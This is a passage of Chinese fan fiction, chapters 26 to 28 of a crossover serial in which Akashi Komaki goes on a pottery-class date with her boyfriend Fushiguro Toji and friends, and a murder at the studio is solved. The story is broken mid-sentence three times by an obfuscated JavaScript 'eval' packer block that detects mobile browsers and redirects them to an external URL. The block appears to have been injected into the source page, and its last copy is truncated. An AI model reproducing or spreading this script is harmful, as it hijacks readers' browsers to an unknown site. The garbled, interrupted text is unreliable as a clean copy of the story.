正在享受着妻子的敬仰的齐木国春先生,齐木楠雄揭开他神秘的面纱,他心里的想法是:好慌张,领导不会让我做出什么出卖自己的事情吧,如果领导一定要……那我只好跪下来求楠雄了! 齐木国春的策略是事前先和儿子搞好关系:“楠雄啊,爸爸在的工作室现在福利待遇提高了,每天有下午茶。我今天给你带了咖啡冻,以后每天都给你带下午茶!” 坐享20余种咖啡冻的大富豪,怎会看上父亲偷偷趁同事们都吃完了揣兜里放了2小时都捂热的便利店甜品。 “不要。” 随着一家之主的工资上涨,齐木楠雄的零花钱也涨了,现在4000。 齐木楠雄:赤司小莳,给我买零食,帮我爸涨工资,增加了足足1/3零花钱,一款我的好友。 距离半个东京身在公寓的小莳:齐木楠 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15413094|168847||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 雄,声音一样,长相也有一点点像,你和征十郎有什么关系? 这些问题当然都没有答案。 再晚些小莳泡过澡,伏黑甚尔告诉她,刚刚铃木园子打了她的电话。 “你接了?” “对,怎么了。”伏黑甚尔脱掉了上衣,准备进浴室。 “……”她还没和园子说自己和助理交往的事情,他们已经在一起将近两个月了。 她没问男友说了什么,左不过是“小莳!”“我是她助理”“小莳呢?”“哦她在洗澡” 头疼。 看见他来气。“看什么看,快去洗澡。”瞪他一眼,小莳头发都不擦,在床上盘着腿报手机看通话记录。 好,十九秒,通话时间是……30分钟前。 今天难得带本书去看,所以忍痛放弃高清电子屏。以后她就是去上厕所,也得带上手机!小莳拨通了几天没联系的好友电话。 被恋爱雷达灵敏的园子痛批了一顿。这个时候再否认就是佯装又不真诚的表现了,小莳承认了自己恋爱中的状态,低声下气地哄着园子。 “对不起,千错万错都是甚尔的错。” 对方语气激昂:“我上次去观摩双塔摩天大楼,在电梯里被人打了一枪的事情,在我脱离危险以后立刻就和你说了!就想着小莳你身体还没好,没能和我还有兰一起,第一时间和你分享!” “……对不起嘛园子,你就原谅我这一回。” “那你坦白,为什么不和我还有兰说。” 谈恋爱这事情就像怀孕,不满三个月说出来万一流产了可不尴尬,“我还挺喜欢甚尔君的,和他地位悬殊,如果被人知道的话大概会认为身份不匹配……我连征十郎都没告诉。” 其实主要是担心伏黑甚尔突然哪一天闹分手,自己会尴尬,但如果这么和园子说,她必然会好奇“你怎么会觉得他会突然离开呢?”,这种时候小莳可不能回答“是的,他确实有很多这样的前科。我怀疑早晚有一天我也会被突然甩掉的”。 为了你好我好大家好,小莳稍微润色了一下情况。挺喜欢是真的,有钱人家的小姐和助理确实也不匹配,没告诉征十郎也是真的。 小莳觉得自己真是个卓有成效的排列组合大师。 园子通情达理,又很感性,立刻就原谅了小莳,并且承诺帮她保密,除了会告诉毛利兰。 这茬算是顺利通过,接下来才是通话的正题。 上一次小莳和园子聊天的时候还是园子在犹豫给远在美国的暧昧对象京极真送什么礼物。她热情建议从百货商场进货一条手织围巾,然后把商标剪了。在那时顺口说了一句伤快痊愈了,到时候一起出去玩,被园子暗暗记在心中。 正好,每周日园子都会去上陶艺课,这周她给京极真做的情侣陶瓷茶杯烧出来了,小兰看了想给工藤新一也做一个,请园子周日带自己一起去体验。带一个人也是带,带两个人也是带,如果小莳身体好起来,可以一起去。 现在被邀请的是三个人了。 “你把男朋友也带过来呀~”园子语气荡漾,可以想象得出她单手捧心的动作。 伏黑甚尔从浴室里出来的时候,就看见小莳翘着脚,勾起脚踝,翻了个身,嘴上说着“我们三个出去,带个男的干什么。现在我不上学了,难得和你们出去,我一个人就行。” “你问问他嘛!万一他愿意来呢?” 小莳心想我管他愿不愿意,正主就坐到她这办床沿开始擦头发了。 “……”伏黑甚尔平常不会在头发湿漉漉的时候坐到这边来,因为小莳嫌弃他乱滴水,当然,她自己头发上的水她是不嫌弃的。小莳头发现在还没干呢。 现在坐过来,明显是想做个显眼包。他不知道听见了什么,但是很感兴趣。 小莳只好对着电话那边说:“嗯呢好,他正好在,我问问。” 捂住收音口,简单询问了一下,最后问:“你能不去不?” 答案是否定的,还被突然靠近的伏黑甚尔强行亲了一口,“你头发还没吹!乱滴水。” 伏黑甚尔低低笑了一声,“先给你吹。”收拾了小莳丢在床上的浴巾,再拿着自己那条,离开卧室。 “他去。” “太棒了!刚刚你离开那么久我以为助理先生不想去。那我们周日不见不散?” “说到这里,柯南会去吗?” “那小子,小兰这次多半不会带上,因为这次她……嘻嘻,怎么了?” 小莳又和园子说了原本住在阿笠博士家的柯南同学灰原哀,现在和自己还有助理同住的事情。如果江户川柯南也去的话顺便就把小哀带上。 “好像是听柯南说过有个女孩休学了,她怎么样了?” 小莳沉默了几秒钟,说:“她就是有点郁郁症,医生说家里人多陪伴会有好处。” “……” 电话结束后,小莳敲响了灰原房间的门。作为情急之下乱讲话的补偿,小莳承诺她回家给她带个纪念品,对郁郁症有好处。 灰原哀:“……”所以说你到底是在怎样的脑回路下说七岁孩子有郁郁症的,说阿斯伯格或者自闭症都好很多! 覆水难收,暂且乖乖玉玉吧宫野志保女士。 27. 第 27 章 伏黑甚尔对陶艺一无所知,也并不觉得玩泥巴是有趣的事情,感觉不如竞马。但小莳询问的时候,他立刻答应了。未经过片刻思考,内心即时有了答案。 如果小莳知道他在把浴巾放进洗衣机的时间里还想七想八,她一定会和男朋友讲讲关于荷尔蒙和热恋期。 恋爱不到两个月,正是享受恋爱的时间,再过个把月就会步入平淡期,之后又是价值观分歧完全暴露出来的吵架高峰期,以伏黑甚尔的臭脾气,可能一切就在沉默中灭亡。总之,要是他热恋期还不能做点平常不能做到的事情,那可说不过去。 周六的晚上,小莳躺在伏黑甚尔胸膛上,对他说:“这还是我们确定关系以来第一次约会,感觉我已经有一辈子没出过家门了。” “要说之前的话,也就是去有森宾馆的那次,和甚尔在高原上的散步很有趣,甚尔还背我走了一段呢。” “那是你装瘸。”伏黑甚尔抓住小莳在他身上乱摸的手。 小莳也不挣扎,抬头问他:“我觉得你那个时候就有在喜欢我了,有吗?” “……”伏黑甚尔在小莳后腰拍了一下。 在他下巴上亲了一口,“不说话就是有哦,别害羞,像我这样的姑娘被喜欢是很正常的事。” 伏黑甚尔直接翻过身把女友压在身下,她还在嬉皮笑脸,环着他的腰:“甚尔的脊柱沟好深,两侧肌肉也好发达,接吻的时候手放在上面,不敢想象有多快乐。” 十几分钟以后,小莳死性不改,“好想把甚尔君压在身下狠狠地亲脊柱沟,然后再在后脖子那边留个牙印。甚尔君知道吗?小猫咪doi的时候就会咬住下面猫猫的脖子不让它逃走,这种情节如果带入人类的话还怪瑟瑟的。” 第二天早上,小莳因为昨晚累得张不开口,什么话都留到睡醒说,睡起第一句话就是:“甚尔君你好没创意,净偷别人的想法,而且你牙齿好尖。” 接吻的时候怎么没发现他牙口这么好,过分。 伏黑甚尔瞥了小莳一眼,再过两小时有约,不和她闹:“以后我们做的时候我会就像昨晚这样咬你的脖子。” 小莳蹬他膝盖,偷袭失败,被一手捞起了脚踝,拖下床:“你该洗漱了,今天是我们第一次约会。” 刷牙的时候,小莳忽然想起个事,一刻也不多等,含糊不清的就和伏黑甚尔讲话,一边口吐泡沫一边发出声音:“我打听过了,今天柯南不会去,说不定会是很顺利的约会哦?” 园子的计划是上午去陶艺室学习,结束以后去吃饭。 见面后,园子一脸调侃来回打量小莳和伏黑甚尔,然后拉着小莳到一旁:“这么好的大帅哥被你拿下了,小莳干得漂亮!没想到我们三人里面居然是你先恋爱,兰和新一太不争气了,我的真先生,他还在美国。只能靠一点点礼物来维系微薄的感情……” 小莳安慰她两情若是久长时,也不在朝朝暮暮,哪天心情好了,翘课飞美国去探望京极先生。 “诶?这这这,”园子脸红,引来毛利兰的好奇,她锤了一下小莳,“不要乱说。” “既然这么思念,还是去见面吧。我这是理性的考量,园子现在饭也吃不下,睡也睡不好,和朋友出去玩都在挂念远方的人,小莳医生诊断:病入膏肓。如今之计唯有京极先生牵手手,京极先生抱抱亲亲才能好!” 你追我赶,一路笑闹。铃木园子本来也不及小莳伶牙俐齿,追也追不过她,到最后只得气喘吁吁没什么威胁力警告她:“伏黑先生在旁边看着呢,你还不收敛点。” 小莳心说她才不在意他看不看,嘴上说着:“他超爱我活泼可爱的样子,耶耶耶。” “……” “……” 伏黑甚尔……伏黑甚尔闻言还在旁边点了点头。 没见识过这场面的两女高一下成了豆豆眼。 感受到两人浑身散发出羞怯又向往的气息,小莳清楚她们的心动嘉宾一个身在美国修行,动辄数年回不了日本,一个深陷黑衣组织阴谋变成了小孩,近在咫尺无法相认。对女方来说四舍入五都是没确定关系的暧昧状态,还是异地。小莳知道毛利兰具有专一真诚的美好品质,轻易不会移情别恋,但是园子…… 陶艺室里,小莳一边熟练地湿润黏土,将它塑成各种形状,然后脚踩着踏板,稳住手指掏空土块内部,他想做个小碗,一边和旁边的好友说话:“园子你可以趁京极先生修行期间先谈谈恋爱,白月光是放在心里的,和你交男朋友有什么关系。”小莳并不乐意见到朋友们伤心难过,立刻给她提出可行性十分高的建议。 “反正高中生谈恋爱说不定什么时候就分手了,正好京极先生修行终了,你可以带着上一份爱情的经验去处理好下一段感情,完美。” 原子听得都有些意动了,园子另一侧的毛利兰说:“这样是不是对京极先生不太好。” 差点忘了旁边还有个崇拜京极真的空手道后辈。 “可是异地实在是太辛苦了嘛,久别重逢纵然美好,在这期间,又有多少不为人所知的酸涩滋味呢?小兰你和工藤同学年幼相识,青梅竹马,加上你本来就对相熟相知的爱情婚姻有美好的向往,我当然不会劝你也不要在迷恋工藤同学。” 在毛利兰双颊绯红讷讷低声说“我没有迷恋新一”后,小莳接着抛出自己的观点,“可园子和你不同,她对帅气的男生天生没有抵抗力,有着强烈的感情偏好。和京极真先生相处也不过数日,要说有什么再多的了解,大概都是通过兰你的介绍,毕竟你很崇拜蹴击贵公子嘛!没有日久生情的基础,暂且也没有非他不可的悸动,不若保留着这份好感先为自己考虑。高中生涯只有三年,花开堪折直须折,在这样美好的时间段,做什么不是最浪漫?” 小莳在给陶土塑型的最后关头,所说的内容也到了总结的时候:“对情感忠贞固然是美好的品质,但我一向认为,在承诺被许下之前,人应当忠于自己。在不违背社会论理道德的情况下,多从自己的角度出发,有了更健全的人格,才好应对以后的风风雨雨。登登,小碗做好了!我先去找老师要吹风机,拜拜!” 小莳带着吹风机回来以后,园子悄悄向她取经,光洁嫩白的脸上现在红扑扑的,娇憨可爱:“小莳认识伏黑先生也就是在刚来东京那时候吧,比我和真先生还晚些,那你是怎么和伏黑先生在一起的呢?有什么特别的值得注意的地方吗?” 伏黑先生在小莳另一边捏着不成形状的泥巴,和同行三人有着天壤之别,他现在注意力完全不在陶土上,忙着偷听,本来乱七八糟的作品现在更是惨不忍睹。 小莳也小小声和同学咬耳朵:“甚尔在危险千钧一发的时候救了我的命,醒来以后我就决定以身相许了。” “以……以身相许!”园子小小声惊叹。 “甚尔形貌俱佳,天天在我面前晃荡,而且还是个居家好手,很难说不心动。我本来就对他有好感的,但是他以前吃过一些苦,性格上有不好磨合的地方,我怕麻烦,在他对我姑且算是表露心迹的时候我婉拒了。”小莳考虑到伏黑甚尔能清楚的听见,所以只含糊说了性格不好磨合,还帮他求包养美化成表露心迹,仁至义尽。 伏黑甚尔听到的:长的凑合,性格不好,我看不上,严词呵斥。 “任何感情,都是如人饮水冷暖自知的,你如果自己不思量,他人隔岸观火,一是不能亲身体会,二是不明全情难下论断,我可是很在意我自己的,当然要做好万全的考虑。所以在请求甚尔君和我交往前,我把一切都想好了,无论这场感情的结局是什么,我都不会后悔。如果园子也在某个时候有了这样的觉悟,那就是谈恋爱的好时候了!像恋爱小说里写的‘非在一起不可’的痴缠,有的时候只是激素作祟,你看小兰对工藤同学就不那样,她只是吃饭喝水呼吸都会想念几个月就出现过一次的老~公~,要我说这样的感情才最难消磨,如果我是被追逐的那个我直接爽死。” 旁边毛利兰刚拿来吹风机就打了个喷嚏,转头看见园子盯着自己吃吃的笑,“怎么了园子?” “没事,嘿嘿。” “小兰,你要在杯子上刻什么字?”小莳好奇。 “不告诉你们。” “懂了,新一看得,我们看不得。” “……不是!” 园子见多年好友被坏坏的小莳三两句挑起,还是帮忙转移了话题,“小莳你的碗是送给伏黑先生的吗?” “不是。” “……”气氛一下子凝固了,伏黑先生你瞪小莳别瞪我啊! “……”啊嘞,居然不是送给男朋友的吗?你男友在场诶。 “……”大脑飞速运转排除了其他所有答案,多半是赤司征十郎,和我约会却给兄长送东西,令人不快。 伏黑甚尔不是会在意【纪念日】【第一次xxx】的人,他对碗也不在乎,便利店的麦秸环保碗和精品店里昂贵的骨瓷对他来说都一样,可现在心情确实差劲。从某种程度上说,伏黑甚尔也是个实用自保主义者,不过他的实用自保落在了“与其想想为什么不开心,不如直接指责他人”上。 本来女孩子聊情感问题他就不加入,现在更是浑身上下透露出“离我远点”的危险气息。 男朋友莫名其妙闹小情绪,多半是犯病了。不知道他在气什么,但这不妨碍小莳医生开药。“甚尔你也有不擅长的事呢,我来教你。”说罢就拢着他的大手蹲在一边,引导着,带着男友一起制作属于他们的共同作品。 如果她是医生,一定是儿科的,瞧这纯熟的哄娃手艺。小莳这么想着,抬头对上伏黑甚尔盯着她的眼睛,微微一笑,捏捏他悬在半空的手指。 小莳的意思:你别偷懒。 在其他人眼里就多了一层亲密和撩拨的意味。 园子:该死,好浪漫! 小兰:想新一,想和新一一起做陶艺。 因为开始伏黑甚尔的手上沾了太多水,泥团不太好塑形,最后只姑且做了个还算形状完整的盏。 虽然还没有刻字上色烧制,但小莳已经非常笃定这会是个和家里装潢格格不入的丑东西。 小莳松开他的手,两人的手上都沾着潮湿的土。陶艺教室周日人不算少,洗手池只有一个空缺,小莳洗干净手后侧身让给男友,“甚尔想在上面画点什么,还是写字?” “没什么头绪。” 小莳本来预期的最差回答是“无所谓”“不关心”一类,他这个答案超出预期了,她亲昵的捏了捏男友的鼻子,“我去拿吹风机,你可得好好想想,我们以后可以拿它点香薰。” 塑好型的容器到吹干拿下不过五分钟,然而……江户川柯南不知道什么时候摸到陶艺教室来了,肯定不是跟着他们来的,不然伏黑甚尔早就发现他了。 “甚尔君,约会这件事情重在参与,我们还会有其他约会的。” “……” 柯南吵着闹着要和兰姐姐一起,大家也都拿小孩子没办法,只要他在一边安安静静不作妖,由得他去。 小莳:他在这里确实不作妖,但你们就颤抖吧,凡人们。 可怜小兰打工的辛苦钱又交了一份出去--给柯南。,堂堂名侦探毛利小五郎一个月只给独生女一点 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15413095|168847||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 点零花钱,毛利兰甚至会去做兼职赚零花。 小莳先给自己的小碗喷了一层釉料,据说这个本来灰不溜秋的颜色烧好后会变成带点丁香的粉紫,然后要了把刻刀三两笔在碗的外侧勾勒出一只鹰的翅膀,饱满的弧线恰如张开的双翅,随手顿了两下,便是利爪。 经过烧制,这块描刻出的雄鹰图案就会显现出光洁的白色,而周围是并非天空色调的粉,小莳对此自有说法:彤云昼聚时雄鹰展翅,反正征十郎不会觉得难看。 那边园子和柯南围着小兰要看她给杯上刻了什么,而她掩着害羞不让他们知道。小莳忙完以后便去关注男友,见他面前的陶土干得差不多,用手去碰了碰边沿,感觉差不多便停了吹风机,请陶艺室老师的助手兼学生笠间菊代女士帮忙用割泥线将坯割下,顺便请她收好自己这边已经结束只等烧制的碗。 “甚尔想好要刻什么了吗?”这盏不算薄,因此失了秀气显得笨拙,小莳就说,“它圆墩墩还挺可爱的。” “没想好。”伏黑甚尔……从小没上过兴趣班,在发挥想象力这块……没有想象力。当然这一切和兴趣班可能也没什么关系,禅院家就没那风水。 上一次激情给娃起名,起了个惠,文化水平也可见一斑。 “你总得参与进来,这可是我们的作品,你也该一起。”小莳搬个板凳坐在伏黑甚尔旁边,眼睛亮晶晶的看向他的侧脸,没人能想到她此时在心里嘀咕:当然,我是一作。 伏黑甚尔在一边依旧没什么反应,他在思考。 “你刻个动物吧。”他是真想不出来,差点又长脑子了,“我不懂这些,你擅长,你决定。” “甚尔,笨。”小莳看他耳朵透红,猜他是真想不出来,幸好她早就有了想法。 小莳假装和伏黑甚尔说话,实际靠近先亲了一下他的耳朵,“那我画个甚尔上去,你去取一小块黏土,搓成细细的长条。帮我打下手总没问题?” “……” 看着伏黑甚尔一言不发离开的背影,小莳笑得眼睛都眯起来了,开始寻找新的工具。给征十郎的鹰本来羽翅就锐利,用刻刀剜也合适,可是这次的线条比较圆润,直接用笔画出来大约更好。 小莳从来没接触过陶艺,但她一直是想象力丰富的,对建模绘画一类事物更是精通,手也稳,故而无师自通,技术有多精湛不敢说,做个可爱的小物件必定没问题。 说到想象力,此前她周围是彭格列的守护者们,后来到了瓦利亚,十几号人无一不有自己独到的想法,因此见到伏黑甚尔这样挠头半天一无所获的,在惊奇观赏之余,仍不免再次加深刻板印象:以前绝对被打压得很惨,想都不敢想了。她随手勾勒出想要的形状,点上眼睛,换了根略粗的毛笔着色。伏黑甚尔回来时,小莳手中的盏已经干透,他把细细的一条放在手掌上,看上去很是笨拙小心。 “够吗?” “计划赶不上变化,我要再细点的,可爱。你快去吧,这么长就够了。”小莳一只手将盏藏在身后,另一只手比了大概2cm的长度,催促伏黑甚尔。 过几分钟,伏黑甚尔再次回来,小莳结接过他捏好的细细一段,将它再捏弯一段,粘在盏的边沿。 “甚尔怎么都不好奇我画了什么。” “还好。”他这么说着,眼睛在往小莳右手瞟。 马马虎虎也算满足了虚荣心,再多也不能指望男朋友了,小莳将盏端到他面前:“锵锵,是甚尔在拉伸,尾巴都竖起来了!” 伏黑甚尔一看,是一只趴在地上伸懒腰的奶牛猫,尾巴和身体连成一个c型弧度--尾巴就是他刚刚带回来的那一段土,“……”。 小莳见他不说话,拉着他坐下,凑到他耳边讲话:“今天也是小莳饲养员劳心劳力的一天捏,甚尔喜不喜欢?” 伏黑甚尔闷不吭声了,边上同行2位朋友兼个拖油瓶也结束了一轮拉扯。 “小莳你和伏黑先生做了一只猫?还做了一段尾巴,好可爱!”小兰率先发现了桌上的小盏,毫不吝啬赞美之词。 “是的,是我来东京以后一直有在喂养的流浪猫,很聪明,知道讨人喜欢。也很狡猾,每次靠近它都装作满不在意的样子,实际上超级不相信人类,有风吹草动一下就跑掉了。当然,道高一尺魔高一丈,还不是被我乖乖拿下。”小莳叉腰给她炫耀。 柯南给人纠错习惯又上来了:道高一尺魔高一丈这话不是这么用的吧! 伏黑甚尔走开的时候,小莳和同学们随口说:“他刚过来手上沾了泥,洗手去了。” 几人的作品都完成的差不多,只剩柯南因为偷渡时差,现在才完成一半。小莳恨不得帮他完成作品,然后大家赶紧离开,但是转念一想,江户川柯南来都来了,吃饭的时候难道还能独独撇下他一个?饭店也是案件高发区。 初一十五,早晚的事。她索性开始观察局势,猜猜乐。 周日人多,陶艺室主人美浓老先生恰巧有些名气,这里人并不少,可左看右看,总感觉这些面目各异的人差点意思。 直到她看见美浓老先生的女婿,姓名美浓素夫,赘婿,亡妻,老丈人的助手…… 男朋友回来的时候,发现小莳盯着工具室房门,视线一点也不分给自己,透过房门开的一道缝隙,似乎看见陶艺室的女助手。 “怎么了?” “如果被害人是老师傅,凶手一定是女婿;如果女婿是被害人,凶手一定是他丈人,如果是笠间女士,多半是她老师干的,当然我不是说不可能存在情杀。” “……”你又知道了?你是懂铁口直断的。 28. 第 28 章 小莳没猜错,死者是女婿。好,那么凶手一定是他老丈人了! 米花町的案件就像数独,抓住一个头,一个尾,其他信息差不多排除排除,一串就捋出来了。 不难理解,这次的事件叫做赘婿但出轨。但死者女友情绪稳定,看着还有点开心? 来现场的警探是老熟人,目暮警官和高木警官,坏消息是关于绑架案的事情警方那边还没结束,虽然目前检方提起公诉的概率不大,但一切没下定论前公安还是很用心的在询问情况。 不巧,高木警官和佐藤警官和伏黑甚尔打交道比较多。 小莳看见案件果然发生,知道了被害人信息,就不再有兴趣进一步调查,和伏黑甚尔坐在一边有一搭没一搭的聊着。园子和毛利兰在寻找不知道跑到哪里去的柯南,找回来过五分钟又要撒手没,所以她们一刻也不得闲。 随便说了几句中午几点能吃饭,晚上吃什么之类的话题,伏黑甚尔冷不丁问:“为什么是猫?” “因为甚尔简直就和猫咪一样嘛,敏锐,戒备心强,一惊一乍的,但是因为不想被发现所以就板起一张小黑脸。” 伏黑甚尔起身。 “心情一起伏,不管好坏,都要一个人去旁边舔毛静一静。” 他恍若未闻,走远。 “耳朵特别好,但是被喊的时候总是装作没听见。” “……” “奶牛品种纯粹是穿搭风格的问题,你穿点棕色的,我帮你升级三花。” “……” 案子破完了,男朋友闹脾气不愿意吃饭了,小兰和园子虽然是常驻目击证人,心理健康程度并未受影响,但这次园子做了回沉睡的主角,一时半刻醒不来,熟悉一切流程的毛利兰决定在陶艺室里照顾她,请小莳带着柯南去吃饭。 “okok,到时候我给你们带点东西。已经下午一点了,总不吃东西伤肠胃。” 小莳生拉硬拽着伏黑甚尔离开,当然,他如果铁了心不肯走,必定是拽不动的。现在小莳觉得他不像猫了,像那个出门溜了一圈不愿意回家而赖在地上的大狗,虽然直接瘫倒饲养员必定拉不动,但是大狗还卸了点力,如果饲养员真的态度坚决他就半推半就但表情还是不情愿的回了。 这条街道还算繁华,随便走两步就是一家店,挑了家咖喱饭店铺,小莳率先挑起帘子走进去,柯南和伏黑甚尔紧随其后。 店铺不算大,经过一轮翻台客人也不多。小莳找了个靠角落里的四人卡座,自己点了一份季节限定的咖喱蟹盖饭,帮伏黑甚尔点了一份自己同样眼馋的经典咖喱牛扒,最后把菜单递给柯南,他选了一份朴素的蘑菇虾排儿童套餐。 伏黑甚尔丝毫没有为除了吃饭以外的事开口的意思,小莳也不招惹他,和柯南聊天。 “你看起来心情不错的样子。” “蟹和牛排都挺好吃的,我这份咖喱里面还有椰浆,泰式风情,喜欢。” “……刚刚才发生了案子,你就没有一点感触?” 小莳恍然大悟:“原来你是因为胃口不好才点的儿童套餐吗?我以为你是为了人设!你是名侦探,你解决的案件比我买过的包都多,怎么还是没办法释怀?” “……”柯南觉得这两者丝毫没有可比性,满头黑线,赤司同学你真的有种对人命毫不在乎的反社会情节,“案件是案件!犯罪的手法,毕竟都是人能够想得出来的谜题,只要动动脑筋,迟早就可以得出一个合情合理的答案,但对于人为什么要杀人的理由,不管别人怎么解释,就算我能够理解,可还是无法接受。美浓先生固然可怜,可他的女婿也不至于死亡,对于侦探来说,案件在破解后就结束了,可每次发生这样的事情,我还是难以抛之脑后。” “你这是在和成熟大姐姐小莳求关怀吗?” “……”他干嘛要和这人说这些。 “如果这个案件被写成小说,我会愿意把他归类于喜剧一类。”小莳是非常喜欢用比喻的人,“侦探先生,你如此博学多闻,想必一定听说过神曲?” “虽然我现在是严格意义上的日本国籍,但也无妨告诉你,我的真正的人生可是从意大利开始的。神曲由托斯卡纳方言写就,也是当今意大利语的滥觞。它描述了诗人误入地狱,在先贤和神女的引导下从地狱到炼狱,最终得见天堂的景象。这样以悲剧开头,最终得到圆满结局的情节,在当时的社会中,便可称作喜剧。所以神曲的最初名字media,仅仅意为喜剧。” “你看今天发生的事情,以美浓素夫的死亡为开端,最终由侦探先生的才智解开交织错落的丝线,使得真相大白:死者入赘之前就和笠间菊代女士交往,含泪改姓只为吃绝户;美浓先生年过60,为女复仇;笠间女士,继承死者前些天刚买的受益人填了她名字的千万保险,恰好可以还房贷,而美浓先生的女儿,也就是赘婿的亡妻,再知道自己的丈夫根本不爱自己之后选择自己撞大货车结束生命……阴差阳错,但是最终所有人都得偿所愿,怎么不算是一种喜剧呢?” “……你怎么会这么想,美浓素夫就绝对不赞成你说的话。”没有良心的被害人显然不愿意束手就死,他还做着继承遗产的梦。 小莳摊手:“他没说反对我就当他默认了。懒得提他是因为他值得自己遭遇的一切。一开始他是想骗了老婆钱就走,但突然死了老婆,就得寸进尺,以为熬死老丈人就能继承小有名气的陶艺室,再把作品全部卖了……我要是个60岁的老人,有这种好儿子,绝对会被孝死。我要是他女朋友,见他为钱入赘,为钱父慈子孝,早就不爱他了。笠间菊代女士毕竟身上还有房贷,又有着‘等老头死了我们一起分钱’的饼在面前,你若问我他们之间有多少爱,我觉得不如保额。而那位早死的妻子,是美浓先生的独生女,结合她招赘的事情,不妨推测也是家里爱如珍宝一样长大的。这样的女性,在遇到爱情和婚姻的困境之时,她做出的选择即使令人惋惜,也是她自己的选择。她有自由意志,有完全民事行为能力,是求仁得仁,我不会在公开场合把这样的选择描述为懦弱。最终父亲得到了法律没有办法给他的公义,妻子得到了自己选择的解脱,情人的到了梦寐以求的金钱,美浓素夫得到了他应许的死亡:献诈之人将心智用于歪途,恰似罪恶之囊第八囊。” “如果说米花町美浓素夫走在街上,突然被琴酒的车撞了,没能当场死亡,琴酒驾车逃逸,只有我在路边,没有行人没有监控,我是绝对不会对他实施救助或者帮他叫救护车的,这就是我的态度。” 洋洋洒洒说了一长段话,最后用一个巧妙的情景假设结尾。这种男的死了在葬礼上也没多少人真心实意为他哭的,说不定他父母会哭。 听者放下碗筷,赤司小莳说的没错,可……“我想我明白你的意思了,赤司同学。但是我们都没有资格审判他。”江户川柯南苦恼的揉了揉头发。 小莳心想,坏了,她以前可喜欢审判人了,现在不审了,审不动了。 伏黑甚尔虽然不讲话,但是一直有在听,他觉得小莳说的很有道理,人都冒犯到面前,再不动手就不理礼貌。至于审判,他对审判这个名头没兴趣,也不在意师出有名,只要最后该做掉的人一个不少通通做掉就行。 柯南没得到回应,抬头看,小莳在用勺子拌面前的饭和残余的咖喱酱,将它们混合在一起。她突然就不说话了呢? 怕说出一些法外狂徒言论吓到小朋友,小莳想了半天才说:“我要引用威尼斯商人的一句话,既然美浓老先生讨要公道,那么他就能得到公道,并且最后的结局也比他所求的更公道。法庭会行使法律的意志,公正审理此案,你的谨慎求证严密推理没有让警方错抓不触犯刑事责任的人,这就足够了。事情到此也就终了。小侦探,你大可以心无旁骛的继续践行初心,可要论公义和伦理,我们都是不及律师和法官大人透彻的。要么以后你和你丈母娘拜师学艺也行,改行做个律师。” “……”我谢谢你。 最后的那一段突如其来的调侃让人无语,江户川柯南甚至忘记了反驳妃英理不是他丈母娘。但小莳对他说的一番话让他心中的郁结和疑惑消散不少,三人结束午饭,带着给小兰和园子打包的餐盒回往陶艺室。 这时已经是下午2点,小莳觉得男朋友大概也调理差不多了,便尝试和他聊天。 “甚尔觉得咖喱的味道如何?” “还行,没什么特别的。” 谈了个接不上话的男友可还行,小莳拍拍自己的额头,不再开口。 陶艺室里,园子已经醒了,两位警探赶着去下一场,留下一些鉴证科的科员继续取证。小莳听园子吹嘘了一会自己高超的推理后,便带着伏黑甚尔和几人告别。回去的路上给灰原哀带了一份下午甜点。交给伏黑甚尔拎着。 “你刚刚是不是想和我聊天?” “……”谢天谢地,离家十分钟脚程,他终于发现了。 “怎么不说话。”周围全是陌生人,他便也不在意展示亲昵,一手把落后半步的女友拉进怀里同行。 “被甚尔的敏锐折服了,一时惊讶之下说不出话。” “别在意这些,我只是刚刚没注意。”伏黑甚尔亲了亲小莳的头发。 “你刚吃完饭用湿巾擦嘴了吗?” 伏黑甚尔摸了摸鼻,这动作让小莳产生不祥的预感:“啊,你今晚也到洗头的日子了。” “……!!!!” “你刚刚说的神曲,是不是就是以前和我提过的,你看的第一本书?我刚才在回忆。”但是只对书名有点印象,其他什么也想不起来。 “来东京的新干线上,和你提过一嘴,我以为你那时候嫌我烦呢!居然还记得。” 其实……也不算记得,烦,也是有点烦的,虽然其中也还包含着其他的情绪,伏黑甚尔有点心虚,“你刚刚和江户川柯南说了很久,你们什么时候这么熟了?” 根本不熟,但是小莳给他算上了半个值得感谢对象,人分利益关系,也分亲疏远近,江户川柯南在她那得往前跳几级。但要是解释起来,男朋友搞不好就要问“他怎么是你的感谢对象了呢?”这个时候就不得不说到小莳浅浅的试图向名侦探求助,但是有一次哄男朋友的时候“我没有期待任何人的救助”。 小莳也心虚了,她开始跳过因直接谈果:“是的,柯南现在是我的朋友了,对朋友我还是比较耐心的。我就是这样的女孩。” “那你朋友有点多。” “怎么,你不服气?” “没有。只是我的朋友只有你。”伏黑甚尔下巴轻轻搭在小莳头上,把她抱进怀里。 “……” 车来车往,行人寥寥的道路上,两人相拥。 被裹在结 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 